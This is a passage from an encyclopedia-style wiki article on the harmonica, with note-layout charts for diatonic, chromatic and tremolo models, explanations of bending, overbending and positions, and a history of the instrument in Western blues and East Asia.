Holes 1 through 4 and 6 are draw bendable, and holes 8 through 14 are blow bendable. Special attention to the extra holes 11 - 14 where the bending capabilities are, in theory, extended a lot (from A down to E in whole 14, for example).

        1  2  3  4  5  6  7  8  9 10 11 12 13 14
        ------------------------------------------
 blow: |C |E |G |C |E |G |C |E |G |C |E |G |C |E |
 draw: |D |G |B |D |F |A |B |D |F |A |B |D |F |A |
        ------------------------------------------

There is also the &quot;Steve Baker Special&quot; manufactured by Hohner, a special tuned 14 holes diatonic:

        1  2  3  4  5  6  7  8  9 10 11 12 13 14
        ------------------------------------------
 blow: |C |E |G |C |E |G |C |E |G |C |E |G |C |E |
 draw: |D |G |B |D |G |B |D |F |A |B |D |F |A |B |
        ------------------------------------------

=== The Chromatic harmonica ===
[[Image:Mundharmonika_gfdl.jpg|thumb|Hohner Super-Chromatic harmonica, a typical 12-hole chromatic]]
The Chromatic harmonica uses a button-activated sliding bar to redirect air from the hole in the mouthpiece to the selected reed-plate desired. This harp is used for Celtic, Classical, and Jazz, as well as many other styles. Traditionally these are made so that when the button is not pressed, an altered diatonic major scale of the key of the harmonica is available and depressing the button accesses the same scale a semi-tone higher in each hole, thus giving an instrument capable of playing the 12 notes of the Western chromatic scale.

Chromatic harmonicas are usually 12, 14 or 16 holes long. The 12-hole chromatic is available in 12 keys, but due to the fact that the entire chromatic scale is available by definition, most professionals stick with the key of C—which is perhaps easier to remember, since slide in will automatically be the sharps of the associated note. In the standard 12-hole chromatic in C the lowest note is middle C, while 16-hole variants start one octave lower. 

For the 16-hole variant, the layout is as follows:

        `1 `2 `3 `4  1  2  3  4  5  6  7  8  9 10 11 12
        -----------------------------------------------
 blow: |C |E |G |C |C |E |G |C |C |E |G |C |C |E |G |C |  key out
 draw: |d |f |a |b |d |f |a |b |d |f |a |b |d |f |a |b |
        -----------------------------------------------&lt;br&gt;
        `1 `2 `3 `4  1  2  3  4  5  6  7  8  9 10 11 12
        -----------------------------------------------
 blow: |C#|F |G#|C#|C#|F |G#|C#|C#|F |G#|C#|C#|F |G#|C#|  key in
 draw: |d#|f#|a#|c |d#|f#|a#|c |d#|f#|a#|c |d#|f#|a#|c |
        -----------------------------------------------&lt;br&gt;

Because it is a fully chromatic instrument, the chromatic harmonica is the instrument of choice in [[jazz]] and [[classical music]].  In traditional harmonica bands, the chromatic harmonica plays the lead part.

However, while the chromatic harmonica is capable of playing in all keys, it is not without its limitations. For example, while chromatic harmonicas can &quot;bend&quot; notes down in pitch, as this is a single-reed bend it sounds quite different than the typical dual-reed bends of a diatonic.  Further, unless the windsavers are removed chromatic harmonicas cannot &quot;overblow&quot; at all. Perhaps more importantly, the number of chords and double-stops available is limited, as are legato phrasings.  Thus, even some of the most accomplished chromatic players are known to use instruments in other keys on occasion, usually the key of F and the key of G. On the other hand, the fact that the chromatic harmonica is designed to play melodies in any keys, plus the fact that many 16-holes and special versions only come stock in the key of C, implied that a good harmonica player should also try his or her best to use the chromatic in the key of C to its greatest capability, and only switch to other keys when it is absolutely necessary.

Chromatic harmonicas are often described as either &quot;straight tuned&quot; or &quot;cross tuned&quot;.  This refers to the way the slider is shaped to isolate the reed set being played at a given position (button &quot;in&quot; or button &quot;out&quot;).  Traditionally the chromatic was &quot;straight tuned&quot; and the slider selected either the upper reed-plate (button out) or the lower reed-plate (button in).  In the later half of the 20th century a new system came into use in which the slider played the upper and lower reed-plates at the same time, staggered by which hole (thus with the button out the player might play the upper reed-plate in hole 1, the lower reed-plate in hole 2, and then the upper again in hole 3 and so forth; pressing the button reversed this).  This allows for a larger hole in the slider, and thus presumably more air gets through, allowing a louder volume. The two methods co-exist with some companies and players preferring one style and others another.

There are at least two other types of slider design as well.  The first one has holes side-by-side with each other in the slider, thus opening only the left side of the chamber or the right side depending on button position.  The Renaissance chromatic uses this design, which is claimed to mix the larger hole of a cross-tuned design with an even shorter movement than in straight tuned sliders.  The simple way of doing this is to construct the harmonica more like a traditional Richter diatonic whereas the standard chromatic design shares more in common with the Knittlinger octave harmonicas.  Note, however, the Renaissance uses a complex comb design to achieve their slider design.  The second type of alternative design is found mostly in East Asia and is based more along the traditional Weiner tremolo construction.  Here each reed is isolated in its own cell within the comb and the slider selects a single reed at a time rather than a cell containing both blow and draw reeds.  The Tombo Ultimo is an example of this type of chromatic.

Finally, there are also several types of non-slide chromatic instruments available, particularly in Asia, such as the Horn Harmonica (see below), as well as Tombo's S-50, Tombo's Chromatic Violin Range, and others. Tombo Chromatic Violin Range (three and a half octaves), as well as S-50 (thre octaves) use the tremelo scale tuning system (but with only one-reed): in essence it is a C# tremolo harmonica sitting on top of a C tremolo harmonica, with blow and draw reeds each sitting in a single cell. The player switches between a top row tuned to C# and a bottom tuned to C by changing the angle of the harmonica.

Like Diatonic, Chromatics are available in numerous tunings. However, there are three more popular versions: one is the '''Irish tuning''', which is done by flattening (instead of sharpening) the notes when the slide is in. This makes playing Irish music, and to a certain extend, blues, easier, since Irish music is commonly played in either the key of C or key of B, which is basically all notes in the key of C flattened. The Irish Tune can be done easily by reversing the slide (fliping the slide upside down) of a chromatic in the key of B major; alternatively, one can just use the B major as is, but use slide-in as the home position.

       Key out: identical to solo tuning&lt;br&gt;       
        `1 `2 `3 `4  1  2  3  4  5  6  7  8  9 10 11 12
        -----------------------------------------------
 blow: |B |Eb|Gb|B |B |Eb|Gb|B |B |Eb|Gb|B |B |Eb|Gb|B |  key in
 draw: |db|e |ab|bb|db|e |ab|bb|db|e |ab|bb|db|e |ab|bb|
        -----------------------------------------------

Another one is the '''bebop tuning''', which is done by tuning the redundent C/C# in hole 4', 4, 8, and 12 blow into a Bb/B pair. This allow playing chords in the key of F, as well as playing C7 chord.

        `1 `2 `3 `4  1  2  3  4  5  6  7  8  9 10 11 12
        -----------------------------------------------
 blow: |C |E |G |Bb|C |E |G |Bb|C |E |G |Bb|C |E |G |Bb|  key out
 draw: |d |f |a |b |d |f |a |b |d |f |a |b |d |f |a |b |
        -----------------------------------------------&lt;br&gt;
        `1 `2 `3 `4  1  2  3  4  5  6  7  8  9 10 11 12
        -----------------------------------------------
 blow: |C#|F |G#|B |C#|F |G#|B |C#|F |G#|B |C#|F |G#|B |  key in
 draw: |d#|f#|a#|c |d#|f#|a#|c |d#|f#|a#|c |d#|f#|a#|c |
        -----------------------------------------------&lt;br&gt;

Another popular version of alternate tuning is the '''classical tuning''', which is done by switching between the blow and draw of the 4th hole of each octave:

        `1 `2 `3 `4  1  2  3  4  5  6  7  8  9 10 11 12
        -----------------------------------------------
 blow: |C |E |G |B |C |E |G |B |C |E |G |B |C |E |G |B |  key out
 draw: |d |f |a |c |d |f |a |c |d |f |a |c |d |f |a |c |
        -----------------------------------------------&lt;br&gt;
        `1 `2 `3 `4  1  2  3  4  5  6  7  8  9 10 11 12
        -----------------------------------------------
 blow: |C#|F |G#|C |C#|F |G#|C |C#|F |G#|C |C#|F |G#|C |  key in
 draw: |d#|f#|a#|c#|d#|f#|a#|c#|d#|f#|a#|c#|d#|f#|a#|c#|
        -----------------------------------------------&lt;br&gt;

This easily allow Imaj7 and iimajo7 chords, as well as many other chords, that's very beneficial for classical music playing.

=== The Tremolo Harmonica ===    [[Image:Suzuki-humming-pic.png|right|thumb|A tremolo harmonica]]

Tremolo harmonicas have two reeds per note.  In a tremolo harmonica the two reeds are tuned slightly off a reference pitch, one a bit sharp and the other a bit flat.  This gives a unique wavering or warbling sound created by the two reeds being not exactly in tune with each other and difference in their subsequent waveforms acting against one another.  The degree of beating can be varied depending on the desired effect.  Instruments where the beating is faster due to the reeds being farther apart from the reference pitch are called &quot;wet&quot;, whereas those where the beating is slower and less noticeable due to the reeds being more closely in tune are called &quot;dry&quot;.

The tonal variation of the tremolo harmonica is not truly &quot;[[tremolo]]&quot;.  &quot;Tremolo&quot; is most often defined as a periodic change of volume (or, less often, pitch), and the tremolo harmonica really exhibits something entirely different: a frequency interference pattern.  This effect is fairly common amongst [[Western culture|Western]] free-reed instruments and is found in accordions, harmoniums and reed organs under various names (celeste, vox jubilante, etc...).  The article [[Beat (acoustics)]] contains more information on acoustical frequency interference patterns.

Tremolo harmonicas are perhaps the most common form of harmonica in the world, being very popular in folk music as well as in much of East [[Asia]].  In the West, the tremolo harmonica is usually encountered in traditional folk music, being found throughout [[Europe]] and [[South America]] in this role.  In [[China]], [[Japan]], [[Korea]], [[Taiwan]] and other parts of Asia, however, tremolo harmonicas are found in nearly every area of music from [[folk music|folk]] to [[European classical music|classical]] — in fact, there are specially manufactured tremolo harmonicas for ensemble playing.  Players often use several different harmonicas at a time, holding them one atop the other, in order to play notes and chords not available on any single instrument.  

Most tremolo harmonicas are built upon what is termed the &quot;Wiener system&quot;, named after the city of [[Vienna]] (Wien in German) where they first emerged.  In this design the two beating reeds are distributed one on each reed-plate (top and bottom) and these share a common chamber.  In practice, however, it is common for each individual reed to have its own air chamber.  Unlike the diatonic harmonica described above (built on the &quot;Richter system&quot;) the blow and draw reeds do not share a common chamber, but are separated off from one another.  This allows the player to isolate each reed.  While normally the player simply plays both the tremolo reeds at once, it is possible to achieve a wide variety of bends and other effects through selecting certain reeds and chambers and not others.  Similarly, it is possible to play without the tremolo effect by only choosing the top or bottom chambers and blocking off the others with the lips.  In practice, though, these are primarily used for effects and mostly the instrument is played as if the two beating reeds shared a single chamber.

There are three commonly encountered tunings or note layouts used for tremolo harmonicas.  The older layout is very similar to that used in the standard diatonic harmonica and also found in diatonic accordions and concertinas.  This tuning has the major diatonic scale in the middle and top octaves of the harmonica with two chords in the lowest [[octave]]: the tonic in the blow and the dominant or fifth chord in the draw.  This is very effective for chordal playing behind relatively simple folk melodies in either the tonic or the fifth of the key of the harmonica. In asia, the fourths and the sixths are added back in, in order to play the melody; however, it was still unlike the scale tuning mentioned below, since the octaves are not repeated through out the layout.

 (capital letters indicate blow, non-capital letters denote draw)
 
 Common tuning in Europe and North America
  1  2  3  4  5  6  7  8  9  10 11 12 13 14 15 16 17 18 19 20 
  -----------------------------------------------------------
 |C |d |E |g |G |b |C |d |E |f |G |a |C |b |E |d |G |f |C |a |
 |C |d |E |g |G |b |C |d |E |f |G |a |C |b |E |d |G |f |C |a |
  -----------------------------------------------------------
 &lt;br&gt;
 Common tuning in East Asia 
  1  2  3  4  5  6  7  8  9  10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
  -----------------------------------------------------------------------
 |G |d |C |f |E |a |G |b |C |d |E |f |G |a |C |b |E |d |G |f |C |a |E |b |
 |G |d |C |f |E |a |G |b |C |d |E |f |G |a |C |b |E |d |G |f |C |a |E |b |
  -----------------------------------------------------------------------

A more recently developed tuning is commonly found on tremolos manufactured in or designed for Asia.  This layout is derived from the &quot;solo&quot; tuning found in chromatic harmonicas and is sometimes called &quot;scale&quot; tuning.  Here the notes of the major scale are found through out the range of the harmonica without a separate chord section in the bass octave.  This helps to facilitate a common practice in Asia of playing both a C and C# harmonica stacked in order to achieve full chromaticity by having essentially the same notes available in each octave of the harmonica. This tuning is also applied to Tombo's S-50.

 (capital letters indicate blow, non-capital letters denote draw)
  1  2  3  4  5  6  7  8  9  10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
  -----------------------------------------------------------------------
 |C |d |E |f |G |a |C |b |C |d |E |f |G |a |C |b |C |d |E |f |G |a |C |b |
 |C |d |E |f |G |a |C |b |C |d |E |f |G |a |C |b |C |d |E |f |G |a |C |b |
  -----------------------------------------------------------------------
 Note: Some manufacturers replace the repeated root note with a spacer. (See S-50)

An interesting recent development has been that of the chromatic [[tremolo]] harmonica.  This combines the slider design of the chromatic harmonica with the dual reed beating sound of the tremolo harmonica.  Harmonica technician John Infande has been manufacturing his own design in limited numbers for several years [http://www.infandecustomharmonicas.com/page2.html] while the [[Japan]]ese harmonica company [[Suzuki]] has recently released its design [http://www.suzuki-music.co.jp/en/special/index.htm].

For more info on tremolo and other double-reed tunings, see:
[http://www.patmissin.com/ffaq/q15.html http://www.patmissin.com/ffaq/q15.html]

=== The Octave Harmonica ===

Octave harmonicas have two reeds per hole.  The two reeds are tuned to the same note a perfect octave apart.  Many share their basic design with the tremolo harmonica explained above and are built upon this &quot;Weiner system&quot; of construction.  Octave harmonicas also come in what is called the &quot;Knittlinger system&quot;.  In this design the top and bottom reed-plates contain all of the blow and draw notes for either to lower or higher pitched set of reeds.  The comb is constructed so that the blow and draw reeds on each reed-plate are paired side-by-side in a single chamber in the same manner as on a standard diatonic but that the top and bottom pairs each have their own chamber.  Thus, in a C harmonica the higher pitched C blow and D draw found in the first &quot;hole&quot; would be placed side-by-side on the upper reed-plate and share a single chamber in the comb and the lower pitched C blow and D draw would be placed side-by-side on the bottom reed-plate and share a single chamber directly below the higher pitched pair of reeds' chamber.  Knittlinger octave harmonicas are also called &quot;concert&quot; harmonicas and are almost always tuned in a variation of the traditional major diatonic with chords tuning found in diatonic harmonicas.  Octave harmonicas built in the &quot;Wiener system&quot; may be tuned either in this traditional method or in the same manner as the Asian tremolos mentioned above.

An interesting variation upon the Knittlinger octave harmonica is the so-called &quot;half-concert&quot; harmonica.  This is not an octave harmonica at all, but rather a single-note diatonic harmonica which is built with a single reed-plate rather than the standard two--essentially it is one half of the standard octave harmonica.

=== The Orchestral harmonicas ===
These harmonicas are primarily designed for use in ensemble playing.

==== The Orchestral Melody harmonica (Horn harmonica) ====

The orchestral melody harmonica, or '''Horn''' harmonicas as called in Asia, are mostly found in East Asia.  These consist of a single large comb with blow only reed-plates on the top and bottom.  Each reed sits inside a single cell in the comb, and the instrument mimics the layout of a piano or mallet insturment, with the natural notes of a C diatonic scale available from the lower reed-plate and the sharps/flats from the upper reed-plate in groups of two and three holes with gaps in-between (thus there is no E#/Fb hole nor a B#/Cb hole on the upper reed-plate).  These are available in several pitch ranges, with the lowest pitched starting two-octaves below middle C and the highest beginning on middle C itself.  These usually cover a two or three octave range. These are usually played in an East Asian harmonica orchestra, using these instruments instead of the chromatic harmonica, and often serve to function in place of brass section—hence it was called horn harmonica in Asia.

==== The Bass harmonica ====

The Bass harmonica consists of two separate combs joined together one atop the other with moveable connectors at their ends.  These are all-blow instruments covering much the same range as the violin family [[Double Bass]].  Those made today are all octave tuned, in that each hole has two reeds one of which plays the bass note and the other a note an octave higher.  The lower comb contains the notes of the C major diatonic scale, while the upper comb contains the notes of a C#/Db diatonic scale.  

See the fuller description at: [http://www.bassharp.com/bh_101.htm www.bassharp.com].

==== The Chord harmonica ====
The chord harmonica has 48 chords: major, seventh, minor, augmented and diminished for ensemble playing.  It is laid out in four-note clusters, each sounding a different chord on inhaling or exhaling.  Typically each hole has two reeds for each note, tuned to one octave of each other, but less expensive models often have only one reed per note. 

In addition to these, quite a few orchestra harmonicas are also designed to serve both as a bass and chord harmonica, with bass notes next to chord groupings.  Other interesting harmonicas include the Polyphonias which are designed to make glissandos and other effects very easy to play--few acoustic instruments can play a chromatic glissando as fast as a Polyphonia.

=== New Developments ===

====The Suzuki Overdrive ====

The Suzuki Overdrive is designed to facilitate [[overblowing]] and overdriving. The Overdrive is constructed with individual air-chambers for each reed in the covers.  Holes at the ends of each chamber are located to allow the player to block off the air flow with their fingers and thus silence that reed.  This isolates the other reed which shares the same comb chamber and allows that reed to be overblown or bent as if it were the only reed in its cell.  This allows for many techniques and manipulations of the reed that can be difficult to perform on a standard diatonic harmonica.

====The Hohner XB-40====

The Hohner XB-40 is an entirely new design.  Here the blow reeds and the draw reeds are sealed off from one another with valves, effectively creating two separate cells in the comb for each hole in the mouthpiece: one for blow and another for draw.  A second reed is then placed in this cell at a zero-offset so that it does not sound under normal playing.  However, it is placed on the opposite side of the reed-plate from the speaking reed and tuned so that it responds when the player &quot;bends&quot; the note downwards in pitch.  This allows for every note on the XB-40 to be bent downwards a whole-tone or more, whereas on standard diatonics only certain notes (the higher-pitched in the cell) will bend at all. In terms of sound production mechanics, the sounds are closer to the sound of a chromatic, since it use additional reeds to reach some other harmonics.

====ChengGong Harmonica====
Another recent innovation in the harmonica is the ChengGong (a pun on the inventor's name and Xin Gong, &quot;Success&quot;) Harmonica, invented by XueXue Cheng of China. It has two parts: the main body, and a sliding mouth piece. The body is a 24 hole diatonic harmonica that starts from b2 to d6 (covering 3 octaves). Its 11-hole mouthpiece can slide along the front of the harmonica, which gives numerous chord choices and voicings (seven triads, three 6th chords, seven 7th chords, and seven 9th chords, with a total of 24 chords available).  Yet, the ChengGong is still capable of playing single note melodies and double stops over a range of 3 diatonic octaves, all the while maintaining a small profile, not much larger than a 12-hole chromatic. Also, unlike conventional harmonicas, blowing and drawing produce the same notes. In this way, its tuning is closer to the note layout of a typical asian tremelo harmonica or the Polyphonias.

=== The Pitch Pipe ===
The [[pitch pipe]] is essentially a specialty harmonica which is designed not for playing music as such but for giving a reference pitch to singers and other instruments.  Notably, the only difference between some early pitch-pipes and harmonicas is the name of the instrument, reflecting the maker's target audience.

== Harmonica Techniques ==

=== Bending and other techniques ===

In addition to the 19 notes readily available on the diatonic harmonica, players can play other notes by adjusting their [[embouchure]] and forcing the reed to resonate at a different pitch. One does this by relaxing and coordinating muscles in the throat, mouth, and lips. This technique is called &quot;bending&quot;, a term borrowed from guitarists, who literally &quot;bend&quot; a string in order to create subtle changes in pitch. Using bending, a player can reach all the notes on the major scale. &quot;Bending&quot; also creates the [[glissando]]s characteristic of much blues harp and country harmonica playing. Bending on a guitar bends the pitch upward. However, typically 'bending' on a harmonica means the pitch falls downward. Bends are essential for most blues and rock harmonica due to the soulful sounds the instrument can bring out. The famous 'wail' of the blues harp typically required bending.

                                   |D  |F  |A# |
                               |B  |D# |F# |B  |
 hole:   1   2   3   4   5   6   7   8   9  10 
        --------------------------------------- 
 blow: |C  |E  |G  |C  |E  |G  |C  |E  |G  |C  | 
 draw: |D  |G  |B  |D  |F  |A  |B  |D  |F  |A  | 
        ---------------------------------------
       |C# |F# |A# |C# |E  |G# |
           |F  |A  |
               |G# |

The physics of bending are quite complex, but amount to this: a player can bend the pitch of the higher-tuned reed down toward the pitch of the lower-tuned reed in any given hole.  In other words, on holes 1 through 6, the draw notes can be bent and on holes 7 through 10 the blow notes can be bent. Hole 3 allows for the most dramatic bending: in C, it is possible to bend 3 draw from a B down to a G#, or anywhere in between.

==== Overbending ====

In the [[1970s]], [[Howard Levy]] developed the &quot;overbending&quot; technique, which, combined with bending, allowed players to play the entire chromatic scale.  When bending, the player forces the lower of the two reeds in a chamber to vibrate faster.  When overbending, the player isolates the ''higher'' of the two reeds and by so doing can play higher pitched notes.  By using both bending and overbending techniques a player can play the entire chromatic scale using a diatonic harmonica.  This has allowed diatonic harmonica players to expand into areas traditionally viewed as inhospitable to the instrument such as [[Jazz]].

The overbend is a difficult technique to master. To facilitate overbending, many players use specially modified or customised harmonicas. Any harmonica can be set-up for better overbending. The primary needs are tight tolerances between the reed and reed-plate and a general level of air-tightness between the reed-plate and comb.  The former often necessitates lowering the &quot;gap&quot;, the space between the tip of the reed and the reed-plate.  Another often used technique is to make the space between the sides of the slots in the reed-plate and the reed itself as small as possible by drawing in the metal on the sides of the reed-plate slots towards the reed.  While these modifications make the harmonica overbend more easily, overbending is often possible on stock diatonic harmonica, especially on a airtight design.

Although there are players who use precise overbends and bends to play the diatonic harmonica as a fully chromatic instrument, this is still very rare, not simply because the technique is difficult, but also because the sound of an overbend is different from the sound of other notes, as is also the case of normal bent notes. Thus, even though a player could play any melody in any key (within a three octave range) on a C diatonic harmonica (examples: Tinus Koorn and Otavio Castro), most diatonic players prefer to use either use the chromatic, or different keys of diatonic harmonicas for different songs, matching the possibilities of glissandos, register and dynamics of a given harmonica to a melody.

=== Positions ===

In addition to playing the diatonic harmonica in its original key, it is also possible to play the harmonica in other keys by playing in other &quot;positions&quot;, either by playing in another mode (playing in D Dorian or G mixolydian on a C Major harmonica) or by bending notes to achieve a scale not otherwise available on the harmonica (playing in E mixolydian on a C Major harmonica). Harmonica players (especially blues players) have developed a set of terminology around different &quot;positions&quot; which can be somewhat confusing to other musicians. There are twelve &quot;natural positions&quot; that can be achieved without bending; however, in general, harmonica players restrict to the following three:

*1st position (or &quot;straight harp&quot;): Ionian mode. Playing the harmonica as it was intended, in its main major key. On a diatonic, starting note is hole 1 blow. On a C-chromatic, starting hole is the same, resulting in C major scale
*2nd position (or &quot;cross harp&quot;): Mixolydian mode. playing the harmonica in a key a fifth above its intended key. Playing just the unbended notes, this position gives the [[mixolydian mode|mixolydian scale]] between 2 draw and 6 blow. However, bending the 3 draw allows the player to play a minor third (or a blue third), allowing a player to use a C harmonica to play in G mixolydian or G minor. Blues players can also play a tritone in this position by bending the 4 draw. See a more extensive discussion of this position at the [[blues harp|article on blues harp]]. On a diatonic, starting note is hole 2 draw or hole 3 blow. On a C-chromatic, starting hole is hole 3 blow, resulting in G major with a flatted 7th.
*3rd position (or &quot;slant harp&quot;): Dorian mode. Playing the harmonica a full tone above its intended key. This gives a [[dorian mode|dorian scale]] between 4 draw and 8 draw, though once again bends and overblows give players a variety of options. Blues players can achieve a tritone by bending the 6 draw. On a diatonic, starting hole is hole 1 draw. On a C-chromatic, starting hole is hole 1 draw, resulting in D-minor with a raised 6th. This is the traditional way of playing Blues on Chromatic.

The terminology for other positions is slightly more varied, though it is possible of course to play in any of the modes and, using overblows and bends, it is possible to play in all 12 keys on a single harmonica — though this is very rarely done on a diatonic, while chromatic harmonica players may prefer having numerous chromatics in different keys, due to difficulties in chord construction.

===Breaking in a Harmonica===
Harmonica players disagree on the need to break in the reeds of a new harmonica, and on break in technique. Even among those that favor a break in period, numerous techniques appear: some may prefer to play a new harmonica for several hours without bending notes; others prefer to play short licks as frequent as possible with reasonable break in between, as recommended by acclaimed harmonica repairer Douglas Tate. Although not recommended (many manufacteurers are against this practice), some players break in their harmonicas by soaking them in warm water, and even beer, whiskey, or vodka; this is common for past [[blues harp]] players.  Other players have made break in devices out of low volume car vacuum's to accomplish this task.

== History ==
The harmonica developed from the intense interests in free-reeds which arose in [[Europe]] in the early [[19th century]].  While free-reeds had been fairly common throughout East [[Asia]] for centuries and known in Europe for some time before this period, around [[1820]] there was a virtual eruption of new free-reed designs in Europe and [[North America]].  While a young Friederich Ludwig Buschmann is often cited as the inventor of the harmonica in [[1821]], it was almost certainly a case of simultaneous development amongst several inventors working independently with mouth-blown free-reed instruments appearing in the [[United States|U.S.]], [[Britain]] and on the [[Europe|continent]] at roughly the same time. In 1825, Richter tuning was developed, while in 1857, Matthias Hohner, a clockmaker, purchased one of Buschmann's harmonica, and became the first person to mass-produce it. Sometime by the [[1850s]], the diatonic harmonica had more or less found its modern form and the other diatonic types followed soon thereafter (the various tremolo and [[octave]] harmonicas).  By the late 19th century, harmonica production was big business and had evolved from a handcraft into mass-production with figures well into the millions, a status which continues to this day.  New designs continued to be developed in the [[20th century]] including the [[chromatic harmonica]], the bass harmonica, the chord harmonica and others.  Even in the [[21st century]] radical new designs such as the Suzuki Overdrive and Hohner XB-40 continue to be brought to market.

The harmonicas massive success is attributable to many factors.  First, it is a fairly easy instrument to play. Of, course, some talent is necessary to play. The diatonic harmonicas were designed primarily for the playing of [[Germany|German]] and other European [[folk music]]s and are extremely successful for that.  However, probably unintentionally the basic design and tuning was extremely adaptable to other types of music such as the [[blues]], [[country music|country]], old-time and similar.  Second, the majority of harmonicas are quite small--often small enough to unobtrusively fit in a pocket.  Third, harmonicas are cheap - amongst the most inexpensive of musical instruments available while not being intended as a toy.  Fourth, harmonicas are fairly easy to manufacture and their simple construction allowed for industrial level production without sacrificing the quality of a hand-crafted instrument, unlike most [[string instruments]] or other [[wind instruments]].  For these reasons the harmonica was a success almost from the very start of production, and while the center of the harmonica business has shifted from Germany the output of the various harmonica manufacturers is still very high indeed.  Major companies are now found in Germany ([[:de:C. A. Seydel Söhne|Seydel]], [[Hohner]] - once the dominant manufacturer in the world, producing some 20 million harmonicas alone in [[1920]] when German manufacturing totaled over 50 million harmonicas), [[Japan]] ([[Suzuki]], [[Tombo]], [[Yamaha Corporation|Yamaha]]), China (Huang, Leo Shi, Suzuki, Hohner) and Brasil (Hering).  Ironically, as the demand for higher quality instruments which respond to more demanding performance techniques has increased, there has been a resurgence in the world of hand-crafted harmonicas which cater to those wanting the absolute best without the compromises inherent in mass manufacturing.

==='''Europe and North America'''===
The first recordings of harmonica were made in the [[United States|U.S.]] in the [[1920s]].  These recordings are mainly 'race-records', intended for the black market of the southern states.  They consist mainly of solo recordings ([[DeFord Bailey]]), duo recordings with a guitarist ([[Hammie Nixon]], [[Walter Horton]], [[Sonny Terry]]) or recordings featuring the harmonica in some kind of novelty act called the 'Jug Band', of which the [[Memphis Jug Band]] is the most famous.  But the harmonica still represented a toy instrument in those years and was associated with the poor.  It is also during those years that musicians started experimenting with new techniques such as tongue-blocking, hand effects and the most important innovation of all, the 2nd position, or cross-harp.

The harmonica then made its way with the blues and the black migrants to the north, mainly to Chicago but also to Detroit, St. Louis and New York.  The music played by the [[Afro-American]]s started to become increasingly different there.  The main difference is the electric amplification of the instrument: first the [[guitar]] and then the [[harp]], [[double bass]], [[vocals]], etc.  The original [[Sonny Boy Williamson]] is the most important harmonicist of this era.  Using a full blues band, he became one of the most popular acts of Chicago.  He also installed for good the [[blues harp|cross-harp]] technique, opening the possibilities of harp playing to new sky.  It is hard to imagine how much influence he would have had on the blues, if he had lived longer.  Unfortunately, Sonny Boy liked to bring women from the audience on stage and dance with them as he played, and he eventually was stabbed by a [[jealousy|jealous]] husband.

But the harmonica didn't die with him.  A young harmonicist by the name of Marion &quot;[[Little Walter]]&quot; Jacobs would completely revolutionize the instrument.  He had the idea to play the harmonica near a microphone (typically a &quot;Brown Bullet&quot; microphone marketed for use by radio [[Taxicab#Dispatching|taxi dispatcher]]s, giving it a &quot;punchy&quot; midrange sound that can be heard above radio static, or an [[electric guitar]]) and cup his hands around it, thus tightening the air around the harp, giving it a powerful, distorted sound, sometimes reminiscent of a [[saxophone]].  This technique, combined with a great [[virtuoso|virtuosity]] on the instrument made him arguably the most influential harmonicist in history.  It is almost impossible nowadays to find a harp player who wasn't influenced by Walter.  Unfortunately, Little Walter also died young, from injuries suffered in a fight.

Little Walter's only contender was perhaps [[Big Walter Horton]].  Relying less on the possibilities of amplification (although he made great use of it) than on sheer skill, Big Walter was the favored harmonicist of many [[Chicago]] leaders, including [[Muddy Waters]] and [[Willie Dixon]].  He graced many sides of Waters in the mid-fifties with extremely colorful solos, using the full register of his instrument as well as some chromatic harmonica.  The only reason he is less known than Little Walter is because of his taciturn personality and his inconsistency, and his incapacity of holding a band as a leader.

Other great harmonicists have graced the Chicago blues records of the [[1950s]].  [[Howling Wolf]] is often overlooked as a harp player, but his early recordings demonstrate great skill, particularly at blowing powerful riffs with the instrument.  [[James Cotton]] is also a household name of the [[Chicago Blues]] scene.  He used a less amplified tone, relying on hand effects, giving his playing a country blues feeling to it.  [[Sonny Boy Williamson II]] also used the possibilities of hand effects to give a very talkative feel to his harp playing.  A number of his compositions have also become standards in the blues world.

The [[1960s]] and [[1970s]] saw the harmonica become less prominent as the electric guitar became the favorite instrument for solos.  [[Paul Butterfield]] is perhaps the most well known harp player of the era in the blues arena.  Heavily influenced by Little Walter, he pushed further the virtuosity on the harp.  Sadly he rapidly fell into drugs and alcohol, and after his first two albums, his career became stagnant. [[Keith Relf]], the singer of the [[Yardbirds]], was a harp player who could hold up to the guitar playing of his bandmates Eric Clapton and, later, Jeff Beck.  [[Bob Dylan]] also famously played his harmonica to add a touch of blues to his folk and rock sound during this era. Dylan was known for placing his harmonicas in a brace so that he could simultaneously blow the harp and strum his guitar.

Recently, two harp players have had major influence on the sound of the harmonica.  Heavily influenced by the electric guitar sound, John Popper of [[Blues Traveler]] has developed an incredible virtuosity on the instrument.  His electric and highly distorted [[solos]] are played at a breakneck speed.  His influence is heavy on modern rock and blues harp players trying to reach new heights with the instrument.

Jazz harmonicist [[Howard Levy]] (who has often recorded with [[Béla Fleck]] and [[Rabih Abou-Khalil]]) is perhaps the most innovative player since Little Walter.  He has perfected the bending technique, using the notes it produces with more precision.  He has also further advanced the technique called overblowing, which enables the diatonic harmonica to play fully chromatic scales, while retaining the particular sound of the harp.  Although he has been performing this technique for quite a while, it has been displayed more and more in the [[1990s]], and players are starting to integrate it in a more blues or rock oriented music. Examples of this style are considered to be among the most highly regarded in the harmonica circles.

=== East Asia ===
In 1898, the harmonica was brought to Japan; there, the Japanese were more interested in the sound of Tremolo; however after about 30 years, they became dissatisfied with the richter-based layout of the tremolo harmonica, and thus developed the scale tuning, as well as the semitone harmonicas, in order to be able to perform Japanese folk songs. During sometime in 1924 and 1933, it was brought to other places in East Asia.

The history of the harmonica in Taiwan began sometime around 1945; due to the influence of numerous harmonica experts, as well as versatility and cheap prices of the harmonica. It became one of the standard instruments on the island, being treated as a serious instrument during its peak at the 1980s — more so than Europe and America, where it was often associated as a blues-only instrument in most cases. However, as the western lifestyle began to spread, as well as an increase in living standards, many instruments that were once too expensive to buy can be bought by the Taiwanese. Additionally due to many schools of methodologies on the harmonica, the harmonica as an instrument almost faded to obscurity in the 90s. In order to raise the appeal of the harmonica back to it what it once was, numerous harmonica lovers in Taiwan began to promote the harmonica heavily, starting with the introduction of harmonicas and methodology that are popular in the Western world (eg. Chromatic and Diatonic harmonicas), as well as participating in numerous international competitions. In 1993, the Yellowstone Orchestra won the first gold in an international harmonica competition. However, to the disappointment of many harmonica players, the resources for education are severely lacking, and many materials are not much different from those that were created 20 years ago.

== Related instruments ==

The unrelated [[glass harmonica]] is a musical instrument formed of a nested set of graduated glass cups mounted sideways on an axle and partially immersed in water, and played by touching the rotating cups with wetted fingers, causing them to vibrate.  

